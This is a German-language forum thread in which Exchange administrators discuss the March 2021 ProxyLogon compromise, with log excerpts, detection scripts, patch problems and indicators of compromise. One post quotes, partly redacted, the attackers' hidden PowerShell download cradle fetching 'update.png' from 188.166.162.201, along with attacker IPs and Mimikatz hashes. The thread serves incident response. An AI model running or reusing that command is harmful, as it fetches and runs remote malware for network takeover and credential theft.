2021-03-03T05:07:21.199Z,b58c33aa-83d0-4265-afda-355aeca1dda4,15,0,1497,10,,Negotiate,true,NT-AUTORITÄT\SYSTEM,,ExchangeServicesClient/0.0.0.0,86.105.18.116,server,server.domain.int,POX,200,500,0,0,1,,,,,GlobalThrottlingPolicy_4093cff6-bf34-4a54-90b6-d19706479c79,,,50,5,0,5,3,,72,ADSessionSettingsFromAddress=0;ADRecipientSessionFindBySid=0;Caller=null;ResolveMethod=Unknown;RequestedRecipient=null;RequestedUser=administrator@domain.com;S:ServiceCommonMetadata.RequestSize=348;S:WLM.Bal=300000;S:WLM.BT=Ews;S:BudgetMetadata.MaxConn=27;S:BudgetMetadata.MaxBurst=300000;S:BudgetMetadata.BeginBalance=300000;S:BudgetMetadata.Cutoff=3000000;S:BudgetMetadata.RechargeRate=900000;S:BudgetMetadata.IsServiceAct=False;S:BudgetMetadata.LiveTime=00:00:00;S:BudgetMetadata.EndBalance=300000;Dbl:WLM.TS=72;I32:ATE.C[dc01.domain.int]=1;F:ATE.AL[dc01.domain.int]=0;I32:ATE.C[dc02.domain.int]=1;F:ATE.AL[dc02.domain.int]=0;I32:ADS.C[dc02]=1;F:ADS.AL[dc02]=2.3456;I32:ADS.C[dc03]=2;F:ADS.AL[dc03]=3.65115;I32:ADS.C[dc01]=1;F:ADS.AL[dc01]=3.2008,,message=Die E-Mail-Adresse wurde nicht gefunden.;,
Und in den Logs des inetpub ist zu sehen:
2021-03-03 05:07:20 1.2.3.4 POST /ecp/y.js &CorrelationID=;&ClientId=QMSWZWOHW0ADVRAXVBRXVA&cafeReqId=b58c33aa-83d0-4265-afda-355aeca1dda4; 443 – 86.105.18.116 ExchangeServicesClient/0.0.0.0 – 200 0 0 734
Ich finde bei mir aber nirgendwo die Phyton Requests.
Die anderen Checks auf Webshells und mittels MSERT waren bei mir sauber.
Gruß Marco
Moin Marco,
wie Powershell wie folgt:
PS C:\Windows\system32> cd C:\inetpub\logs\LogFiles\W3SVC1\
PS C:\inetpub\logs\LogFiles\W3SVC1> Get-Content .\*.log | Select-String „python“
VG Seb
Hi Marco,
wichtig ist das „Die E-Mail-Adresse wurde nicht gefunden“ in deinen Logs steht.
Das bedeutet, dass die euer Administrator Konto nicht anhand seiner Email identifizieren konnten.
Ich gehe davon aus, dass du die hier gezeigten Logs editiert hast und diese Administrator@euredomain.com zeigten?
Da könntet ihr vielleicht groß Dussel gehabt haben und der Exploit ist nicht gelungen.
Das würde auch erklären warum du keine Webshells oder so gefunden hast.
Gruß
Alex
Ich muss hier etwas zu meinem vorherigen Post klarstellen.
Mittlerweile ist bekannt, dass es keine x.js oder y.js Dateien gegeben hat, sondern das diese als Teil einer fiktiven Url waren, welche benutzt wurde um den Exploit auszuführen. An einer bestimmten Stelle im Exploit brauchen die Angreifer eine fiktive URL um den Payload rein zu bekommen und da haben die Angreifer eben fiktive Urls mit x.js oder y.js als Dateienamen in den URLs benutzt.
Das Vorgehen wurde auch von Praetorian beschrieben siehe hier: https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
Also ich finde nichts in den logs. alle exchange virtual directories sind nun nur mehr über vpn erreichbar. ist natürlich keine super lösung, da einige nun nicht wirklich rein können. Vorher hatten wir Sophos UTM WAF. denkt ihr es ist sicher, den Zugang wieder über die WAF zu erlauben?
danke für euren input!
Hallo zusammen,
da das Thema ja doch eine extreme Reichweite hat, bitte ich um Einschätzung des folgenden Szenario.
Exchange 2016 mit CU18 und zwischenzeitlich auch dem Sicherheitsupdate
Der Exchange hat für keinen Dienst eine externe URL konfiguriert, OWA, ECP etc. ist nur intern erreichbar. In der öffentlichen DNS-Zone der Domain gibt es somit auch keinen Record der auf die IP-Adresse des Exchanges verweist, wäre bedingt durch die dynamische IP-Adresse des Standortes ohnehin nicht möglich.
Die eMails werden von einem externen Linux Mailserver per POPCon (POP3S) abgeholt
Das Test-Script von MS hat keine Auffälligkeiten angezeigt
Ich bin ohnehin der Meinung, dass auch ohne das Sicherheitsupdate das System nicht angreifbar wäre oder habe ich hier etwas übersehen? Freue mich auch Rückmeldung zur finalen Beruhigung.
Wenn Exchange Linux Mailserver / Smarthost sicher aufgestellt sind, dann war dein System bei der Konfiguration nur von Außen nicht angreifbar.
In deinem internen Netzwerk sind die Exchange Dienste weiterhin erreichbar, müssen sie auch sein. Wenn Schadsoftware auf irgendeinem Weg in dein internes Netzwerk gelangt (ein Punkt von dem man ausgehen sollte, da Clients, darauf installierte SW und der menschliche Faktor das größte Sicherheitsrisiko darstellen (sei es auch nur ein Homeoffice-PC)), kann der „Angreifer“ genauso gut die gesamte Domain kompromittieren und Daten über kompromittierte Clients abziehen.
Daher ist der Sicherheitspatch auf jeden Fall notwendig, auch wenn der Exchange nicht von außen erreichbar ist.
Wir sind gepatcht, nachdem es uns auch getroffen hat. Jetzt geht es ums Vorbeugen, damit es nicht mehr so leicht passieren kann. Ja ich weiß, es kann immer passieren.
Die Frage, die sich für uns jetzt stellt: Wir haben keine Firewall und auch den Server sonst nicht irgendwie abgeschirmt.
Würde ein nginx-Proxy mit mod_security Firewall zum OWA hin etwas bringen? Was wären so eure Tipps? Danke!
Ist bei irgend jemanden das Script CompareExchangeHashes.ps1 schon erfolgreich gelaufen?
Läuft bei mir jetzt über 3x Stunden und steht 5x in „Processing 3 directories in parallel“
Grüße Rainer
Sorry gerade gesehen die Antwort steht oben, es dauert, werde auch berichten.
Bei mir ist es durch!
Ergebnis wäre ok!
Bei uns hat sofort nach dem POST der Defender angeschlagen und die Webshell blockiert.
Bin aber dennoch unsicher ob wir den Server nicht neu machen sollen …
CompareExchangeHashes.ps1 Output:
System.Collections.Hashtable
System.Object
Exchange_Version15.2.792.3Objs Version=“1.1.0.1″ xmlns=“http://schemas.microsoft.com/powershell/2004/04″
Obj RefId=“0″
TN RefId=“0″
TSystem.Collections.Hashtable/T
TSystem.Object/T
/TN
DCT
En
S N=“Key“Exchange_Version/S
S N=“Value“15.2.792.3/S
/En
/DCT
/Obj
/Objs
Ich habe eine Frage bzgl. der Exchange Build Version. Nach dem Einspielen des Sicherheitsupdates für Exchange 2016 CU 19 wird in der Powershell mit „Get-ExchangeServer“ weiterhin die Version 15.1.2176.2 angezeigt. Ein Check der von MS veröffentlichten Dateiliste für den Update ergab, dass die dll / exe Dateien die Version 15.1.2176.9 haben. Ist dies normal dass der Befehl Get-ExchangeServer nicht die aktuelle Build Version anzeigt?
Hi,
ich verwenden immer diese Abfrage
Get-ExchangeServer | Format-List Name,Edition,AdminDisplayVersion
Vielleicht hilft das :-)
Nein, es ist die gleiche Abfrage, nur dass Du die Ausgabe auf die notwendigen Felder begrenzt. Das Ergebnis ist somit das Gleiche :-)
Versucht es mal hiermit ;)
https://www.frankysweb.de/exchange-server-patchlevel-ermitteln/
Ja, das ist normal, weil es ein Sicherheitspatch ist und somit nicht überall diese Änderung in der Exchange Version reflektiert wird.
Ich bin auch erstmal irre geworden weil die Befehle über die Powershell nur die CU19 Produktversion ausspuckte.
Prüfe mal die Datei Microsoft.Exchange.RpcClientAccess
Zu finden unter /Exchange Server/Bin/ also im Bin Verzeichniss des Installationsverzeichnis deines Exchange Server.
In den Details sollte als Datenversion 15.1.2176.9 stehen und Produktversion 15.01.2176.009
Steht es da, dann sollte der Patch angewendet sein. Steht eine niedrigere Version, dann ist der Patch wohl nicht sauber durchgelaufen oder er wurde noch nicht angewendet.
Hallo Alex,
hatte ich bereits gemacht – Version ist *.9.
@Stephan: Danke für den Tipp – Gold Wert! Die Version ist 15.1.2176.009 – somit alles im grünen Bereich.
Danke an alle für die schnelle Hilfe – Top!
Es gibt von seitens MS jetzt einen Artikel mit ein paar nützlichen Scripts.
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log
Vielleicht helfen die jemanden. Das Skript unter dem CVE-2021-26855 Eintrag scannt nochmals die LOG – Files und prüft auch die Methode POST oder GET.
Ich habe weiterhin meine zwei Einträge in den LOGs allerdings war es kein POST sondern ein GET. Da sonst nichts auffällig ist, denke ich das ich nochmal richtig Dussel hatte.
DateTime : 2021-03-08T03:01:57.471Z
AnchorMailbox : ServerInfo~localhost/owa/auth/logon.aspx?
UrlStem : /ecp/default.flt
RoutingHint : X-BEResource-Cookie
ErrorCode : InternalServerError
TargetServerVersion : 0.00.0003.000
BackEndCookie :
GenericInfo : BeginRequest=2021-03-08T03:01:57.081Z;CorrelationID=;ProxyState-Run=None;FEAuth=BEVersion-3;ProxyToDownLevel=True;ProxyState-Complete=Prepar
eServerRequest;EndRequest=2021-03-08T03:01:57.471Z;I32:ATE.C[servername]=1;F:ATE.AL[servername]=0;I32:ADS.C[servername]=1;F:
ADS.AL[DC01]=3.1855
GenericErrors : HttpException=System.Web.HttpException (0x80004005): NegotiateSecurityContext failed with for host ‚localhost‘ with status ‚TargetUnknown‘ bei
Microsoft.Exchange.HttpProxy.KerberosUtilities.GenerateKerberosAuthHeader(String host Int32 traceContext AuthenticationContext&
authenticationContext String& kerberosChallenge) bei
Microsoft.Exchange.HttpProxy.ProxyRequestHandler.c__DisplayClass12.b__10() bei
Microsoft.Exchange.HttpProxy.LatencyTracker.GetLatency(Action operationToTrack Int64& latency) bei
Microsoft.Exchange.HttpProxy.ProxyRequestHandler.PrepareServerRequest(HttpWebRequest serverRequest) bei
Microsoft.Exchange.HttpProxy.ProxyRequestHandler.CreateServerRequest(Uri targetUrl) bei
Microsoft.Exchange.HttpProxy.ProxyRequestHandler.b__15();
UrlHost : localhost
Protocol : Ecp
Method : GET
RoutingType : CrossRegion
AuthenticationType : FBA
ServerHostName : servername
HttpStatus : 500
BackEndStatus :
UserAgent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML like Gecko) Chrome/69.0.3497.81 Safari/537.36
DateTime : 2021-03-08T03:01:57.487Z
AnchorMailbox : ServerInfo~localhost/ecp/default.flt?
UrlStem : /owa/auth/x.js
RoutingHint : X-AnonResource-Backend-Cookie
ErrorCode :
TargetServerVersion : 0.00.0003.000
BackEndCookie :
GenericInfo : BeginRequest=2021-03-08T03:01:57.065Z;CorrelationID=;ProxyState-Run=None;FEAuth=BEVersion-3;ProxyToDownLevel=True;NewConnection=::1&0;BeginGetResponse=2021-03-08
T03:01:57.065Z;OnResponseReady=2021-03-08T03:01:57.471Z;EndGetResponse=2021-03-08T03:01:57.471Z;ProxyState-Complete=ProxyResponseData;EndRequest=2021-03-08T03:01:57.487
Z;
GenericErrors : WebExceptionStatus=ProtocolError;ResponseStatusCode=500;
UrlHost : servername
Protocol : Owa
Method : GET
RoutingType : CrossRegion
AuthenticationType : FBA
ServerHostName : servername
HttpStatus : 500
BackEndStatus : 500
UserAgent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML like Gecko) Chrome/69.0.3497.81 Safari/537.36
Viel Erfolg euch :-)
Ich will dich nicht unnötig beunruhigen, aber das du nur GET Anfragen gefunden hast ist nichtssagend.
Hast du in den ECP Logs die POSTS überprüft? in den OWA Logs?
Diese GET Anfragen stammen wohl von Akteuren die speziell bei den Servern nach den kompromittierenden Servern mit den Dateien suchen. Sprich die wollen feststellen ob diese Dateien auf dem Server drauf sind. Und wenn dann Error 500 kommt, dann würde ich mich nicht in Sicherheit wiegen. Warum kam nicht eine 404? Also „Datei nicht gefunden“?
Sind diese Dateien bei dir aufm Server? Wenn ja, dann solltest du dir diese schleunigst auf deren Inhalt anschauen.
Diese GET Anfrangen tauchen seit dem 4. März vermehrt auf. Wie einer es so schön formuliert hat „The Internet is aware“. Sprich alle Wissen was los ist und jetzt wird nach den Opfern gesucht.
Microsoft hat auch soeben neue Dateinamen und Ablageort bekannt gegeben über deren Webseite.
Direkter Link zur CSV wo die Hashes der Dateien und deren Ablageorte: https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.csv
Schon jemand Erfahrung mit der CompareExchangeHashes.ps1 ? Die gibts seit cirka 6 Stunden.
Zu finden auf https://github.com/microsoft/CSS-Exchange/tree/main/Security
Ich hab sie seit 2 Stunden (als Admin in der ExchangeShell) laufen, und er bleibt bei mehreren Servern lange bei „Processing 3 directories in parallel“ stehen.
Ich habe diese Datei auch gerade laufen lassen. Hat etwas gedauert ja, aber das Ergebnis hat mich echt nicht erfreut. Ausnahmslos jede Datei ist da mit einem „is extra or edited“ markiert. :(
Nun muss ich schauen ob dies bei einem frischen Exchange Server ebenso aussieht.
Jede Datei ist aber auch etwas sehr eigenartig…
Kann ich mir fast nicht vorstellen, dass der Angriff so aufwändig aufgebaut ist.
Gibts schon irgendwo Guidelines zu dem Script?
Bei mir war die *.csv Datei leer. Evtl. kannst Du mal eine Datei mit dem angegeben Hash-Wert manuell vergleichen. Dann siehst Du ob dieser abweicht.
Da scheint etwas nicht mit dem Script zu stimmen. Ich habe es eben auf einen neuen Exchange 2019 laufen lassen.
Komplett neues Netzwerk, war noch nie online.
184 MB xml Datei mit lauter „is extra or edited on this server“ Meldungen. :-/
Wenn du eine xml Datei bekommst, hast du eine alte Version des Scripts. Siehe auch https://github.com/microsoft/CSS-Exchange/issues/174. Die aktuelle Version, sollte dir eine csv Datei erzeugen.
Ich habe das Skript durchlaufen lassen. Hat nur eine halbe Stunde gedauert – allerdings haben wir auch nur 12 Postfächer. Exchange Server 2016 CU 19
Na toll, hab das Script jetzt etliche Stunden laufen lassen nur um festzustellen, dass es verbuggt ist -.-
Na dann, eben nochmal mit der neuen Version…
Also bei mir läuft er auch seit 3 Stunden… aber der Server hatte alle Exchange 20106 CU ab der 8 bis zur 19. Deshalb dauert es wohl auch so lange.
Ich werde berichten sobald es bei uns durch ist.
Guten Morgen,
ich habe bei uns den Exchange 2016 sicherheitshalber auch vom Netz genommen. Ich restore gerade mit Veeam in der Testumgebung. Bei uns ist es nicht so schlimm, da wir bereits in der Hybrid Umgebung sind und alle Postfächer bereits bei O365 laufen.
Hat noch jemand so eine Umgebung und kann was dazu beitragen.
Besten Dank und Euch allen gutes gelingen.
Vg Rainer
Hallo Rainer,
nicht so schlimm? Hast du mal überprüft ob auf dem Server die Exploits ausgenutzt wurden und vielleicht Software nachgeladen wurde?
Die Angreifer haben aktuell nicht mehr das Ziel Emails abzuziehen… Hafnium ist längst ausm Spiel, hier sind neue Akteure am Werk und die wollen die Kontrolle der Netzwerke bekommen.
Schau dir mal was Frank weiter oben bezüglich seinen beiden Kunden berichtet hat mit den Tasks mit Powershell und so.
Im Moment sind nicht deine Email in Gefahr, sondern dein lokales Netz… also prüfe genau ob sich da nicht etwas gerade in dein lokales Netz über SMB verbreitet. Auch ob auf deinen Server nicht Tasks ausgeführt werden wie winnet und sync, die da nichts zu suchen haben.
vg
Alex
Moin Alex,
mir geht es auch so. Ich habe „nur“ zwei Einträge in den Exchange LOGs mit Status 500.
Kein Tool (MSERT SOPHOS Intercept X, detectwebshell )hat etwas gefunden.
Zur gleichen Zeit finde ich auf der Firewall LOGs (Sophos UTM Web Application Firewall) mit Status 403 und 302 von der gleichen IP.
Ich habe keine Webshells gefunden oder einen Task am laufen.
Der Exchange ist aber jetzt gepatched.
Ein Restore aus dem Backup wäre gerade der Horror ….
LG Chris
Moin Chris,
ganz ehrlich ,der Horror könnte ein ganz anderer werden wenn die Angreifer es geschafft haben sich weiterzuverbreiten.
Bist du sicher, dass du nur 2 Einträge hast? Bei mir hatte das Skript auch nur die Einträge zu der Autodiscover.xml gefunden.
Das mit dem POST in der /ECP/ habe ich dann selber gefunden als ich die ECP Logs durchgegangen bin.
Wir haben auch die UTM am laufen, da habe ich mir aber die Logs vom Angriff nicht genauer angeschaut. War auch nicht nötig, weil ich beschlossen hatte den Server aufzugeben. Könnte ich aber in den kommenden Tagen nachholen, sobald ich etwas mehr Gewissheit habe, dass wir sicher sind.
Ich verfolge jetzt auch die Logs in der UTM und sehe da viele 403 und 302 von verschiedenen IPs. Bei uns sind /ecp/ /owa/ /rpc/ und /oab/ von außen nicht mehr erreichbar. Patches drauf und Rewrite Rules für den IIS. die UM Dienste sind ausgeschaltet.
Am liebsten würde ich auch /EWS/ und /ActiveSync/ sperren, aber dann kriegen die Mitarbeiter draußen keine Emails mehr… und für reinen VPN Betrieb sind unsere Internet Leitungen nicht stark genug :(
lg
Alex
Hi Tomtom,
ich will ja nicht ja sagen, aber fürs Patchen ist es wahrscheinlich schon zu spät. Es ist sehr wahrscheinlich, dass der Server schon befallen wurde.
Hast du den Server vom Netz getrennt?
Wenn du von POST einer x.js schreibt, dann gehe ich davon aus, dass du das aus den ECP logs hast, richtig?
Viele andere Leute haben ähnliche Einträge, die Datei aber auch nicht gefunden. Es gut möglich, dass diese ausgeführt würde und dann eine CMD Shell oder so ausgeführt hat und die Datei danach gelöscht würde, das wissen wir aktuell nicht.
Hast du einen HttpStatus Code: 500 für einen Zugriff auf /rprc/ oder worauf?
Hast du das TestHafnium Skript, mittlerweile Test-ProxyLogon.ps1 ? siehe hier: https://github.com/microsoft/CSS-Exchange/tree/main/Security
Hast du Webshells in Verzeichnisse? wie dem IIS wwwroot/asp_client/ oder in den Exchange Verzeichnisse /owa/ /ecp/ oder /oab/ oder im HttpProxy ?
Hast du Tasks am Laufen auf dem Server mit Namen winnet und Sync ?
Gruß
Alex
Hallo Alex,
das Skript war das erste was ich ausgeführt habe. Das Skript hat mir dann eine *-CVE-2021-26855.csv Datei erstellt, in dieser habe ich die Informationen gefunden.
Den Server habe ich sofort vom Netz genommen. Er galt für mich ab diesen Moment als Kompromittiert.
Die Einträge in der generierten CSV bezogen sich alle auf /owa/auth/ und /ecp/default und bei diesen Einträgen steht der HttpStatus auf 500.
In der Aufgabenplanung habe ich keine Aufgaben mit dem Titel winnet oder Sync gefunden.
Web-Shells sind vermutlich nicht installiert worden aber sie können auch in anderen Dateien versteckt worden sein. Da bin ich mir aber nicht sicher.
Ich habe mir den Server aus einem Backup wiederhergestellt. Werde jetzt erstmal wieder das CU 19 installieren und anschließend nochmal versuchen den Patch zu installieren.
Ich werde mich nochmal melden.
Ich bedanke mich für die Unterstützung.
Gruß
TT
Hi Tomtom.
freue mich zu hören, dass du keine Tasks gefunden hat. Hast du auch die anderen Server bei dir im Netz überprüft?
Von wann waren deine Einträge? War der Server zu dieser Zeit gepatcht?
Server aus Backup wiederherzustellen war denke ich die richtige Wahl. Habe ich hier auch gemacht.
Wenn ich helfen kann ,dann tue ich es gerne.
Bei so einer Sache ist zusammenhalt am wichtigsten. Das machen die Sicherheitsforscher aktuell auch und deshalb sind wird auch in der Lage so schnell auf das Problem zu reagieren. Huntress werden wir denke ich einiges zu verdanken haben. Die haben sehr schnell ihre Ergebnisse kommuniziert. Bei so einer Sache hat man nur als Meute eine Chance… Wenn wir mit den Absicherungen durch sind, dann sollte auch die Jagt nach den Verursachern stattfinden, weil so-was sollte man niemanden durchgehen lassen.
Wir haben dieses mal leider eine sehr schlechte Ausgangssituation gehabt. Eine Schachpartie wo der Gegner schon ein paar Züge voraus hat ist nie gut.
Microsoft scheint jetzt auch langsam in Pushen zu kommen mit Skripten und co. Zwar etwas spät für die die schon gepatcht und Mitigation betrieben haben wie die meisten hier ab dem 3., aber immerhin besser als nichts.
Und je mehr Möglichkeiten wir haben Kompromittierungen auszuschließen, desto besser.
Gruß
Alex
Hallo,
ich habe erst heute von der Schwachstelle erfahren und mich sofort ans patchen gemacht. Naja zumindest wollte ich es.
Zunächst musste ich von CU 16 auf CU 19 Upgraden, hat ohne Fehler funktioniert.
Nach der Installation von CU 19 habe ich den Patch ausführen wollen. Einmal über die Administrative Eingabeaufforderung und über die Windows Update Funktion. Ich bekomme bei der manuellen Ausführung den Fehler das der angemeldete Benutzer nicht genügend Rechte hätte. Darauf hin habe ich den lokalen Administrator verwendet, jedoch das gleiche Problem.
Ich bekomme den Patch nicht als Domänen Admin und auch nicht als lokaler Admin installiert. Beides mal wird die Installation mit dem Hinweis „nicht ausreichend Rechte des angemeldeten Benutzer“ abgebrochen. Die Windows Updatefunktion sagt nur aus das es bei der Installation Fehler gab.
Hat jemand von euch eine Idee woran das liegen kann?
in den Logs zur Schwachstelle habe ich folgendes gefunden.
IP-Adresse 1: 103.135.248.70
IP-Adresse 2: 213.32.39.38
mittelst POST übertragende Datei: x.js
HttpStatus Code: 500 bei allen Einträgen.
Berichtigt mich wenn ich was falsches sage. Doch der Fehler 500 sagt ja aus das es einen internen Serverfehler gab. Ich gehe daher mal davon aus das keine Dateien übertragen wurden. Ich kann zumindest nichts in den Ordnern finden die im LOG angegeben waren.
Gruß
TomTom
Auch wenn es ein 500er gewesen sein sollte – heißt nicht unbedingt, dass der Exploit nicht funktioniert hat.
Die Exchange-Server werden gerade in massiv schneller Geschwindigkeit angegriffen. Vermutlich bist du schon zu spät. Geh lieber auf Nummer sicher und hol dir ein Backup und installier neu. Mein Server war bereits am 03. März in der Nacht betroffen, ich war also mit meinem Update am Mittwochabend schon zu spät dran.
LG
Markus
Hallo Markus,
ich hatte mich an dem Strohhalm festgehalten aber anscheinend ist er abgeknickt.
Ich nehme mir dann mein Backup zur Hand.
Danke für die Antwort.
Gruß
TT
Ich habe jetzt 2 Systeme gesehen, die attackiert wurden und am Freitag den Patch bekommen haben. Das war aber schon zu spät. Dort liefen Powershells die über die Aufgabenplanung alle 40min neu gestartet wurden. Diese Tasks wurden auf weitere Server verteilt und nicht nur auf dem Exchange zu finden. Ziel der Powershell ist eine IP-Adresse 188.166.162.201.
Da hilft es wohl nur alles neu zu machen oder mit den Backups eine Woche zurückzugehen.
@Frank
Vielen Dank für den Hinweis. IP-Adresse gleich mal allen Firewalls in die Blacklist eingetragen.
Welchen Namen hatte die Task in der Aufgabenplanung bei dir? Sicher dass es durch die aktuellen Sicherheitslücken verursacht wurde?
Die beiden Task hießen winnet und sync.
Es waren 2 voneinander unabhängige Kunden mit genau denselben Tasks in der Aufgabenplanung. Auch wurden dort aspx-Dateien in den besagten Ordner gefunden. Die Tasks wurden erst am Wochenende angelegt.
Hallo,
bei uns wurde versucht, noch vor Installation der Patches, die Externe URL vom OABVirtualDirectory zu ändern. Dies ist aber zum Glück misslungen. Danach wurde das angelegte OAB Verzeichnis wieder gelöscht und ein neues erstellt (Default Web Site). Man kann dies gut am Datum erkennen (entweder in der Gui oder Shell).
Zum Glück keinen Hinweis auf die Tasks, auf keinem Server, auch keine aspx-Dateien.
Grüße
jetzt nochmal etwas genauer.
Es wird folgender Befehl alle 40min ausgeführt:
powershell -nop -ep bypass -e SQXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX <– die XXX sind ersetzt, da ich nicht weiß ob in dem String Daten des Kunden stehen.
Im Taskmanager läuft dann folgendes:
powershell -nop -w hidden -ep -bypass -c "IF(New.ObjectNetWebClient).downlostring"'http://188.166.162.201/update.png?v………………………………
Jetzt wird es eklig.
Das ist genau das was Huntress am 5.03 vermeldet hat.
https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers
und hier
https://twitter.com/KyleHanslovan/status/1368075467262226433
Die IP Adresse wurde am 5. beim Provider gemeldet. Vielleicht haben die inzwischen dicht gemacht.
Die Update.png ist wohl die Stuffe 3 bei der Ausführung. Es werden Daten über die Umgebung weitergeben und Angriffsvektoren nachgeladen.
Es kommt dann eine obfuskierte 6 MB Datei und danach noch 2 DLL von Mimikatz.
32bit – D58A41A393F4B9A406226689F29C7017CA20F788
64bit – FA8E53CB3497CBF81CFEE0DDBF171DE98B83211D
Die dekodierten Skripte findet man hier, aber VORSICHT, nicht ausführen! Das sind die Dinger die angreifen.
https://gist.github.com/JohnHammond
Die Scripte versuchen zuerst 2 Domains aufzulösen und wenn dies nicht klappt, dann wird die besagte IP angesteuert.
Die 2 Domains werden von der Sophos UTM als C&C Verkehr geflagt sobald für diese DNS Anfragen raus-gehen.
Ich hatte die IP am 5.3 gleich in die Firewall gesperrt.
Wie kann man eigentlich prüfen ob diese Skripte laufen? Reicht es mit SCHTASK /query über die Powershell zu schauen? Oder können diese Skripte sich vor der „Aufgabenplannung“ tarnen?
Wenn das Zeug auf andere Server drauf ist, dann ist es wahrscheinlich bis zu Stuffe 5 oder 6 auf den Exchange Servern vorgedrungen. Siehe mein Post weiter unten.
John Hammond von Huntress hat gerade ein Video bei Youtube freigeschaltet wo er auf die ganzen Payloads eingeht die diese Tasks erstellen und was diese wohl bewirken. Der Code ist zwar in seinem Github, aber im Video erklärt er 1-2 Sachen dazu.
https://www.youtube.com/watch?v=rn-6t7OygGk
Da haben einige Leute sich sehr viel Mühe gegeben bei der Erstellung der Payloads, damit diese nicht so leicht entdeckt werden. Die Auswirkung sind brisant… Weiterverbreitung über SMB im Netzwerk und Abgriff von Daten über net.exe, Mimikatz und co.
Bei uns hat es die Suche zerschossen. OWA schmeißt einen Fehler „Beider Suche ist ein Fehler aufgetreten“, nach dem unser Dienstleister das Zero Day Update installiert hat.
Hat das noch jemand festgestellt?
Schau mal hier:
https://www.borncity.com/blog/2021/03/05/exchange-probleme-mit-ecp-nach-sicherheitsupdate-mrz-2021/
Grüße
Dickes Danke, genau das war es.
Trotz Google hatte ich nichts gefunden, Danke Dir vielmals!
Hallo zusammen,
das Update bei unserem Exchange 2013 lief garnicht gut. Während des Updates kam es zu einer Fehlermeldung, dass kein Zugriff auf den Pfad oder Datei C:\Prgramm Files\Microsoft\Exchange Server\V15\TransportRoles\agents möglich sei (den Pfad habe ich aus der Erinnerung, leider kein hundertprozentige Sicherheit)
Das Progamm führte eine Rollback aus, ansonsten keine Fehlermeldung.
Allerdings starten nun die Exchange Dienste nicht mehr. Verursacher ist der Exchange AD Topologiedienst Fehler 1053 Dienst antwortet nicht rechtzeitig auf die Start- oder Steuerungsanforderung. Im Log findet sich folgender Hinweis:
Name der fehlerhaften Anwendung: Microsoft.Exchange.Directory.TopologyService.exe, Version: 15.0.1497.6, Zeitstempel: 0x5e0d9cb9
Name des fehlerhaften Moduls: KERNELBASE.dll, Version: 6.3.9600.19724, Zeitstempel: 0x5ec5262a
Ausnahmecode: 0xe0434352
Fehleroffset: 0x0000000000007afc
ID des fehlerhaften Prozesses: 0x1810
Startzeit der fehlerhaften Anwendung: 0x01d7135c2269551c
Pfad der fehlerhaften Anwendung: C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Directory.TopologyService.exe
Pfad des fehlerhaften Moduls: C:\Windows\system32\KERNELBASE.dll
Berichtskennung: 601d080d-7f4f-11eb-80ec-0050569a0e3c
Vollständiger Name des fehlerhaften Pakets:
Anwendungs-ID, die relativ zum fehlerhaften Paket ist:
Windows Update habe ich auch ausgeführt, keine Verbesserung. Bin ehrlich gesagt ratlos, zumal ich nicht der Exchangeexperte bin.
Grüße
Torsten Sattler
Tippe das Update wurde nicht mit erhöhten Rechten installiert. (Ist mir auch schon passiert und hatte alles zerschossen)
Glaube weiter oben hat jemand geschildert, wie die Dienste wieder zu reparieren sind.
Grüße
Danke dir!
Also….
– KB 5000871 konnte ich nicht deinstallieren. War irgendwie klar, wurde ja auch ein Rollback ausgeführt…
– Erneute Installation von CU23 (bei Exchange 2013) über Setup.exe läuft in Fehler (Kein Exchange…kann ich nachvolziehen, Dienste laufen ja nicht). Ausführung über Exchangeserver.msi meldet einene Erfolg, aber anschließend, auch noch Neustart, keine Besserung.
– UpdateCas.ps1 und UpdateConfigFiles.ps finde ich nicht, vemutlich erst ab Exchange 2016…oder ich übersehe was.
Resumee: Dienste starten einfach nicht
…bleibe dran
Hallo zusammen,
er läuft wieder…Gott sei Dank!! Lösung kommt morgen….
Hier jetzt zusammen gefasst:
Das Problem konnte durch die durchlaufende Installation Exchange2013 KB 5000871 gelöst werden. Allerdings brach die Installation immer beim Beenden(wollen) der Dienste ab (laufen ja nicht mehr).
Abhilfe schafft die Anlage der Datei „profile.ps1“ im Verzeichnis \Windows\System32\WindowsPowerShell\V1.0 mit dem Eintrag „New-Alias Stop-SetupService Stop-Service“
Interessanterweise scheint dies schon bei älteren Sicherheitspatches und über alle Exchangeversionen vorgekommen zu sein.
https://www.frankysweb.de/exchange-2016-neues-sicherheitsupdate-fuer-cu10-und-cu11/
(hier mal noch „profile.ps1“ suchen)
Besser und aktueller wird es hier erklärt (er spricht mir übrigens aus der Seele):
https://www.reddit.com/r/exchangeserver/comments/lxfd8u/2013_kb5000871_killed_my_server_and_this_just/
Somit wäre dieses Thema erledigt.
Leider habe nun auch ich entdeckt (via Test-ProxyLogon.ps1- wurde oben schon sehr gut beschrieben), dass es am 5.3 zu dubiosen Änderungen kam.
Mit MSERT.exe wurde der Exploit:ASP/CVE-2021-27065.B!dha erfolgreich entfernt.
Zurzeit suche ich jetzt noch Änderungen im System, auch über den Link zu Hernandez (auch oben schon beschrieben). Bis jetzt macht es den Eindruck, als ob keine erfolgreiche Kompromitierung stattfinden konnte.
Ich glaube allerdings, dass wir erst die kleine Spitze des Eisbergs sehen und diese Problematik noch sehr weitreichend werden wird.
Gruß
Torsten
Mit dem Microsoft Safety Scanner kann nach den Webshells gesucht werden:
https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download
Zitat MS:
Microsoft Support Emergency Response Tool (MSERT) to scan Microsoft Exchange Server
Microsoft Defender has included security intelligence updates to the latest version of the Microsoft Safety Scanner (MSERT.EXE) to detect and remediate the latest threats known to abuse the Exchange Server vulnerabilities disclosed on March 2, 2021. Administrators can use this tool for servers not protected by Microsoft Defender for Endpoint or where exclusions are configured for the recommended folders below.
To use the Microsoft Support Emergency Response Tool (MSERT) to scan the Microsoft Exchange Server locations for known indicators from adversaries:
